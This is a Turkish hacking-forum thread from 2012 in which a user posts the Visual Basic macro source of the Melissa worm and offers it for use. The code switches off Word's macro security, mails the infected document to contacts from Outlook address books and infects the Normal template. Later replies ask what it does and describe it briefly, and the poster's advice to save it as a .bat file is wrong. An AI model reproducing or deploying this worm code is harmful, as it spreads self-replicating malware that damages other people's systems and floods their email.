İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

Melissa Virüsü(Çernobilden sonra 2.)

26-06-2012 18:00
#1
METEOUR - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2012
Nereden:
Elazığ
Mesajlar:
71
Teşekkür (Etti):
0
Teşekkür (Aldı):
2
Konular:
4
Ticaret:
(0) %
İyi günler arkadaşlar.Bugün size Melissa Virüsünün kodunu verecem. Bu kodu not defterine yazıp .bat layın

Private Sub ********_Open() ' Writted By eXit
On Error Resume Next
If System.PrivateProfileString("" , "HKEY_CURRENT_USER\Softwa re\Microsoft\Office& #092;9.0\W ord\Security", "Level") <> "" Then
CommandBars("Macro").Controls( "Security...").Enabl ed = False
System.PrivateProfileString("" , "HKEY_CURRENT_USER\Softwa re\Microsoft\Office& #092;9.0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls( "Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Applicat ion")
Set DasMapiName = UngaDasOutlook.GetNameSpace("M API")
If System.PrivateProfileString("" , "HKEY_CURRENT_USER\Softwa re\Microsoft\Office& #092;" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Ad d Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else "
BreakUmOffASlice.Attachments.A dd Active********.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("" , "HKEY_CURRENT_USER\Softwa re\Microsoft\Office& #092;" , "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = Active********.VBProject.VBCom ponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBCom ponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromStr ing ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLine s BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromStr ing ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLine s BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullN ame
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub


Beğeni isteyrum
Kullanıcı İmzası
''Bu hayatta yaptırmak istediklerinin adını iyilik koymuşlar''




---------------H4CK3D By M3T30UR-------------

Facebook Profilhttp://www.facebook.com/Legend785

26-06-2012 18:33
#2
SickeT - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
02/2012
Nereden:
EDİT
Mesajlar:
586
Teşekkür (Etti):
2
Teşekkür (Aldı):
84
Konular:
73
Ticaret:
(0) %
ne işe yarar bu neler yapar...
Kullanıcı İmzası
Eror
26-06-2012 19:52
#3
Üyelik tarihi:
06/2012
Nereden:
NeVeRLanD
Mesajlar:
100
Teşekkür (Etti):
12
Teşekkür (Aldı):
5
Konular:
31
Ticaret:
(0) %
Krdşm bizim bilgisayara bişe olmz dimi :d
26-06-2012 19:53
#4
Yusuf111 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2012
Nereden:
System32
Mesajlar:
464
Teşekkür (Etti):
46
Teşekkür (Aldı):
18
Konular:
147
Ticaret:
(0) %
Açıklama Koymalısın Ne İşe Yaradığını Belirtmelisiniz
26-06-2012 20:01
#5
WOLD3MORD - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2011
Nereden:
Baş döndüren yerlerden
Mesajlar:
945
Teşekkür (Etti):
7
Teşekkür (Aldı):
132
Konular:
137
Ticaret:
(0) %
bana daha çok microsoft yazılım dili gibi geliyor "örnek" visual basic.
26-06-2012 20:12
#6
Uzmaniz - ait Kullanıcı Resmi (Avatar)
Özel Üye
Üyelik tarihi:
06/2012
Mesajlar:
13.029
Teşekkür (Etti):
1334
Teşekkür (Aldı):
6310
Konular:
298
Ticaret:
(0) %
Sanal bir pc kurmadan kendı pc nızde denemeyın genede tedbırı elden bırakmamak lazım
26-06-2012 20:50
#7
Üyelik tarihi:
06/2012
Nereden:
NeVeRLanD
Mesajlar:
100
Teşekkür (Etti):
12
Teşekkür (Aldı):
5
Konular:
31
Ticaret:
(0) %
Beyler bişe olabilirmi mesaj atarmısınız
27-06-2012 09:34
#8
METEOUR - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2012
Nereden:
Elazığ
Mesajlar:
71
Teşekkür (Etti):
0
Teşekkür (Aldı):
2
Konular:
4
Ticaret:
(0) %
Arkadaşlar bu melissa virüsü Melissa bir Word 97 makro (macro) virüsü. Oldukça tehlikeli bir virüs, çünkü e-mail yoluyla çok hızlı olarak yayılabiliyor. Word 97 dökümanlarına ve Word 97 ile Word 2000&l8217;in NORMAL.DOT dosyasına bulaşıyor. Virüsün kodu Melissa isimli bir makro bulunduğundan bu adla anılıyor.

Etkisi altına nasıl alıyor peki:Yaptığı en önemli iş e-mail yoluyla çok hızlı bir şekilde yayılması. Bunun dışında ayrıca eğer dakika o günkü tarihle uyuşuyorsa (mesela saat 9:30 ise ve günlerden de ayın 30&l8217;u ise) metine şöyle bir tümce ekliyor : "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game&l8217;s over. I&l8217;m outta here. "
Arkadaşlar bunun başka bi ismi var ama sölemek istemiyorum.(ARGO SAYILIR)


SAygılar
Kullanıcı İmzası
''Bu hayatta yaptırmak istediklerinin adını iyilik koymuşlar''




---------------H4CK3D By M3T30UR-------------

Facebook Profilhttp://www.facebook.com/Legend785
27-06-2012 09:36
#9
METEOUR - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2012
Nereden:
Elazığ
Mesajlar:
71
Teşekkür (Etti):
0
Teşekkür (Aldı):
2
Konular:
4
Ticaret:
(0) %
Ha söylemişim.Klasik .bat uzantılı ama iyi bi etki istiyordsanız VİSUAL BASİC.
Kullanıcı İmzası
''Bu hayatta yaptırmak istediklerinin adını iyilik koymuşlar''




---------------H4CK3D By M3T30UR-------------

Facebook Profilhttp://www.facebook.com/Legend785
27-06-2012 09:37
#10
METEOUR - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2012
Nereden:
Elazığ
Mesajlar:
71
Teşekkür (Etti):
0
Teşekkür (Aldı):
2
Konular:
4
Ticaret:
(0) %
Alıntı:
maschera639´isimli üyeden Alıntı Mesajı göster
Krdşm bizim bilgisayara bişe olmz dimi :d
Ordaki .batı açmazsan bir şey olmaz. SAygılar
Kullanıcı İmzası
''Bu hayatta yaptırmak istediklerinin adını iyilik koymuşlar''




---------------H4CK3D By M3T30UR-------------

Facebook Profilhttp://www.facebook.com/Legend785

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı